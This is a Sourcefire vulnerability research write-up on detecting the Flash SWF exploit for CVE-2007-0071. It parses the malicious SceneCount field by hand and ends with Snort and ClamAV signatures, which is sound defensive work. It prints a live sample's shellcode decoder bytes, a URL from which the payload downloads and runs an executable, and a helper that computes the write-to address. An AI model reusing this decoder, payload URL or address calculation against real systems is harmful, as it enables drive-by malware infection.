Detection of CVE 2007-0071

Analysis by

Lurene Grenier

Matthew Watchinski

Sourcefire Vulnerability Research Team

Description of the Vulnerability:

On 5-27-2008 Symantec issued a 0-day vulnerability alert pertaining to malicious flash (SWF) files circulating in the wild. The initial Symantec report stated that this issue was unknown and that it affected the latest version 9.0.124.0 of flash player and several other Adobe products that processed SWF files. Further analysis of the exploit files determined that the initial categorization of this as 0-day was incorrect and that this was actually a working implementation of the vulnerability described by Mark Dowd of the IBM X-Force team.

Dowd's paper does an excellent job of explaining where the actual software problem is in the Adobe flash player and also outlines a very creative and well-designed mechanism for utilizing the vulnerability to execute arbitrary code. Without spending significant time summaries Dowd's paper and how he used the AVM (ActionScript Virtual Machine) to his advantage this analysis will focus on the bits necessary for detecting this vulnerability.

In keeping this focused on detection the snort rule writer is interested in the following pieces of data.

  1. The vulnerability is a NULL PTR dereference
  2. The vulnerability occurs when processing the DefineSceneAndFrameLabelData flash TAG
  3. The TAG number for the above is 0x56 or 86 in base 10
  4. The field SceneCount which is part of the structure used when processing the DefineSceneAndFrameLabelData TAG is the parameter that causes the problem.
  5. SceneCount is an Encoded field and must be processed correctly for accurate detection.
  6. SceneCount is treated as a signed 32 bit integer in the vulnerable code.
  7. SceneCount should not be negative.

Overview of the SWF File Format:

The SWF file format is a relatively simple format when compared to other types of file formats. It acts very similar to SNMP and uses a dataencoding scheme that loosely resembles ASN.1 encoding. The file in all simplicity has two main parts. The header, which encodes information about the size, length, number frames, height, width, and other general-purpose information, the second section is the TAG data which contains all the information about the images, actions, and other individual display elements. From a detection perspective the analyst is mainly interested in reading and parsing the TAG data, as the DefineSceneAndFrameLabelData is a TAG and that is where the vulnerability is located. The main things to remember when dealing with the SWF File Format are the following.

  1. Values in the actual file are stored in little endian format.
  2. TAG data is encoded in a WORD (2 8bit Bytes). Reading TAG data is explained below in the Live Exploit Analysis.
  3. If the length of a tag is longer than 62 bytes the length is stored in the next DWORD after the TAG WORD.
  4. SWF supports a number of different Encoded representations of numbers. All the methods for encoding are outlined in detail in the flash v9 format specification.

Live Exploit Analysis:

Now that we have the basics of the vulnerability and the basics of the flash file format its time to actually analyze an "in the wild" exploit. The reader will need a copy of swftools and will need to compile the program listed in the Appendix to follow along with all examples. Additionally the live exploit is available on snort.org is the same location as this document, the filename is swf-infected.zip and is password protected with "infected".

File Information:

     MD5SUM: 90d0885f3790ebf8947df882c9d83b46 Filename: i1231.swf

Basic Analysis:

The easiest thing to do when dealing with any file format is attempt to find tools that already exist for reading and displaying information about the files. This is where swftools comes in, as it's a simple command line SWF file parser that prints out information about the TAG data, embedded files, and other header information. Running this tool over the i1231.swf sample produces the following data:

 swfdump -D ./i1231.swf
[HEADER]        File version: 9
[HEADER]        File size: 1541
[HEADER]        Frame rate: 12.000000
[HEADER]        Frame count: 771
[HEADER]        Movie width: 1.00
[HEADER]        Movie height: 1.00
[045]         4         4 FILEATTRIBUTES
[006]      1024      1028 DEFINEBITS defines id 0682
==== Error: Unknown tag:0x056 ====
[056]        40      1068 (null)
[009]         3      1071 SETBACKGROUNDCOLOR (ff/ff/ff)
==== Error: Unknown tag:0x056 ====
[056]        12      1083 (null)
==== Error: Unknown tag:0x052 ====
[052]       383      1466 (null)
==== Error: Unknown tag:0x04c ====
[04c]        25      1491 (null)
[001]         0      1491 SHOWFRAME 1 (00:00:00,000)
[000]         0      1491 END

Unfortunately the older versions of SWFtools do not understand the format or how to read the DefineSceneAndFrameLabelData, luckily the file format is not so complex that parsing it by hand is possible. In the next section we will parse the two highlighted tag above by hand to determine what they do.

Parsing Tags by Hand:

One of the most confusing things about the output above is the third column for each tag. This is suppose to be the file-position of the tag in the actual SWF file.

[006] 1024 1028 DEFINEBITS defines id 0682

When looking at this output one is lead to believe that 1028 is the actual start position of this tag in the file. This however is not the case, as this file position does not add the size of the variable length header data to this value to give the user the absolution file position for the start of this tag. The analyst will need to do this by hand.

Finding the First Tag:

The first TAG in the above output is the following:

[045] 4 4 FILEATTRIBUTES

What this line says is TAG 0x45 (column 1) is FILEATTRIBUTES (column 4) and it has a LENGTH of 4 (column 2) with a file position of 4 (column 3). Given this data we can determine what hex bytes will exist in the file. This will allow us to start to parse the TAG data by hand.

TAG data is encoded using the following format:

TAG = WORD [ 2 BYTES ]

This WORD value contains both the tag value and the length of all the data to follow not including the length of the actual TAG. The value is encoded as follows:

[ First 10 Bits ] = TAG Number
[ Last 6 Bits ] = Length ( If LENGTH is all 1's [111111] then the next DWORD [ 4 bytes ] contains the actual length of the data for the TAG]

Given the above lets figure out what we are looking for in the file.

TAG = 0x45 = 0001 0001 01 (encoded using 10 bits in binary)

Length = 0x04 = 00 0100 (encoded using 6 bits in binary)

If we put this together as one WORD we get the following

0001 0001 0100 0100 = 0x1144

This value is then stored in the file using little endian byte ordering. Therefore we need to locate 0x4411 which should be the start of our TAG data.

Open the file using "bvi" or your favorite hex editor. Search for bytes of "44 11". The first location you should find is at offset position 0x10 and it should look something like this.

     44 11 08 00 00 00

Followed by:

     BF 01 00 04 00 00 AA 02 34 . . . .

If we then verify that the next TAG is the TAG outlined above, we know are in the correct position to start calculating the offset to the TAG 0x56 which is the TAG we are interested in. Lets walk through that verification.

[006] 1024 1028 DEFINEBITS defines id 0682

If we are correct we skip 4 bytes after 44 11 which puts us at BF 01, if this is the correct value for the next tag, decoding it should result in TAG 0x06 with a length of 1024.

BF 01 first needs to be reversed as the file is in little endian format and the program uses everything in big endian format. This gives us the following

BF 01 (little) -> 01 BF (big)

Next we convert 01 BF to binary representation.

[ 0000 0001 1011 1111 ]

Take the first 10 bits

[ 0000 0001 10 ] = 0x06

Take the next 6 bits

[ 11 1111 ] = 0x3F = 63

Since all the bits are 1 we need to look at the next 4 bytes to get the real length value. The next 4 bytes are

00 04 00 00 (little) -> 00 00 04 00 (big) = 1024 (Decimal)

We now know that we are looking at the correct tags and now have the correct offset to get to the first 0x56 TAG.

Parsing the Vulnerable Tag:

Since we now know the location of the second TAG BF 01 in the file we can quickly skip to the correct location in the file. To do these we do a simple offset calculation to get to the correct offset.

TAG 2 = file location 0x16
End of Length = 0x1b
Start of Data = 0x1c

0x1c + 1024 = 0x41C

If we then jump to that location and hand parse the tag we quickly determine that this is the correct location to begin parsing our 0x56 TAG

[RAW DATA at file offset 0x41C]

     A8 15 99 B4 8E A0 08 20 20 20 20 20 20 20 20 20
     20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
     20 20 20 20 20 20 20 20 20 43 43 02 FF FF FF

[DECODE]

A8 15                   [ DWORD FROM FILE ]
15 A8                   [ DWORD SWAPPED FOR USE ]
0001 0101 1010 1000     [ BINARY REPRESENATION ]
0001 0101 10            [ FIRST 10 BITS = TAG (0x56/86) DefineSceneAndFrameLabelData ]
            10 1000     [ LAST 6 BITS = LENGTH  (0x28/40) ]

Now that we have validated what we are looking at we need to know a bit about the DefineSceneAndFrameLabelData TAG and how the data for this TAG is laid out. In the references below browse to the file_format_Specification_v9.pdf which explains the flash file format. Search for Type = 86. You should see something like the following:

Header RECORDHEADER Tag type = 86
SceneCount EncodedU32 Number of scenes
Offset1 EncodedU32 Frame offset for scene 1 Name1 STRING Name of scene 1
..

This is the first several fields that are represented in the data section for this TAG. Since we only care about SceneCount, as this is the parameter that cause the problem we won't spend any time looking at the other fields.

SceneCount is what Adobe calls a EncodedU32 value, this is a special packed representation of 32 bit integers that Adobe uses in the SWF file format. This encoded value takes up 5 bytes of data in the file. Understanding how this encoding works is key for determining if an SWF file is malicious or not. Refer to the appendix for a simple program that does the encoding for you.

Refering to the red highlighted file data above the value 99 B4 8E A0 08 is the little endian representation of the EncodedUI32 value for SceneCount. For the file to be malicious the decoded big endian value must be negative when converted from a unsigned integer to a signed integer. This means the value must be greater than 0x7FFFFFFF.

To determine if the value is malicious we must decode it, the easiest way to do this is to run the tool flash-calc in the Appendix below.

Sample output from the tool :

     ./flash-calc 99B48EA008
     ADDER DECODED = 84039a19
     WRITE TOO ADDR = 302b3928

As you can see ADDER DECODED = 84 03 9A 19 this value is greater than 0x7FFFFFFF. This means this file contains a malicious 0x56 tag

Summary:

After reading the above and working throw the live sample with the provided tools, you hopefully now have enough information to parse SWF files and determine if they are malicious. Additionally, you can now utilize this information to create additional detection capabilities for your favorite network security tools.

Additional Information:

For those interested in additional information about the sample the below dump represents the shellcode encoder used in this live sample.

seg000:000000EB jmp short getSCPtr; Use a standard jump/neg call to get the shellcode address
seg000:000000ED loopSetup: 
seg000:000000ED pop ebx; Pop the shellcode ptr into ebx
seg000:000000EE xor ecx, ecx; Zero out the offset register (ecx)
seg000:000000F0 mov ax, 5D62h; Put the rolling xor "key" into ax
seg000:000000F4 decoderLoop: 
seg000:000000F4 xor [ebx+ecx*2], ax; Xor the encoded shellcode (2 bytes at a time) with the key
seg000:000000F8 inc ecx; Increment the offset register
seg000:000000F9 inc eax; Increment the xor key
seg000:000000FA cmp cx, 164h; If the offset is 164 (228 bytes decoded) we're done
seg000:000000FF jl short; If less, loop again
decoderLoop 
seg000:00000101 jmp short near ptr; Otherwise, jmp to the now-decoded shellcode
shellcode 
seg000:00000103 getSCPtr: 
seg000:00000103 call loopSetup; Go back to the top, pushing the addr of the encoded shellcode as we do
seg000:00000108 shellcode db 8Bh; first undecoded byte

Ignoring that last byte (which isn't really the encoder) the entirety of the decoder is:

     EB 16 5B 33 C9 66 B8 (62 5D) 66 31 04 4B 41 40 66 81 F9 (64 01) e8 EB 05 E8 E5 FF FF FF

Bytes that are variable to the size/encoding of the specific shellcode are in parenthesis - these are the key, and the size of the shellcode respectively. Looking at a few samples showed this to be pretty common amongst live exploits.

The bytes of the encoded shellcode live right after the decoder (at 0x108) and once decoded are run to the effect of simply downloading an executable file at http://www.guccime.net/0.exe and running it. I assume that executable changes pretty frequently, but once you're pulling down arbitrary binaries to run, the interesting stuff is already done.

Published Detection:

Sourcefire / Snort

  • SID 13820 - WEB-CLIENT Adobe Flash player SWF scene and label data memory corruption attempt
  • SID 13821 - WEB-CLIENT Adobe Flash player SWF scene and label data memory corruption attempt
  • SID 13822 - WEB-CLIENT Adobe Flash player SWF scene and label data memory corruption attempt

Sourcefire / ClamAV

  • Exploit.SWF.Downloader
  • Exploit.SWF.Downloader-1
  • Exploit.SWF.Downloader-2

References:

  1. http://documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf
  2. http://download.macromedia.com/pub/flash/licensing/file_format_specification_v9.pdf
  3. http://www.swftools.org examples used 0.8.1 for Linux.

Appendix:

  1. flash-calc.c
#include <stdio.h>
#include <string.h>
#include <malloc.h>

int main(int argc, char **argv)
{
    char encodedUI32[5];
    char *input;
    char *byte;
    char **endptr;
    int i;
    int size;
    int addr;
    int wwaddr;

    input = strdup(argv[1]);
    byte = malloc(2);

    for(i = 0; i < 5; i++)
    {
        memcpy(byte,input,2);
        encodedUI32[i] = strtoul(byte,NULL,16);
        input++;
        input++;
    }

    addr = GetEncodedU32(&encodedUI32);
    printf("ADDRESS DECODED = %4.08x\n", addr);

    wwaddr = addr^0x80000000;
    wwaddr = wwaddr*12;
    wwaddr = wwaddr-4;

    printf("WRITE TOO ADDR = %4.08x\n", wwaddr);

}

int GetEncodedU32(unsigned char *pos)
{
  int result = pos[0];
  if (!(result & 0x00000080))
  {
    pos++;
    return result;
  }
  result = (result & 0x0000007f) | pos[1]<<7;
  if (!(result & 0x00004000))
  {
    pos += 2;
    return result;
  }
  result = (result & 0x00003fff) | pos[2]<<14;
  if (!(result & 0x00200000))
  {
    pos += 3;
    return result;
  }
  result = (result & 0x001fffff) | pos[3]<<21;
  if (!(result & 0x10000000))
  {
    pos += 4;
    return result;
  }
  result = (result & 0x0fffffff) | pos[4]<<28;
  pos += 5;
  return result;
}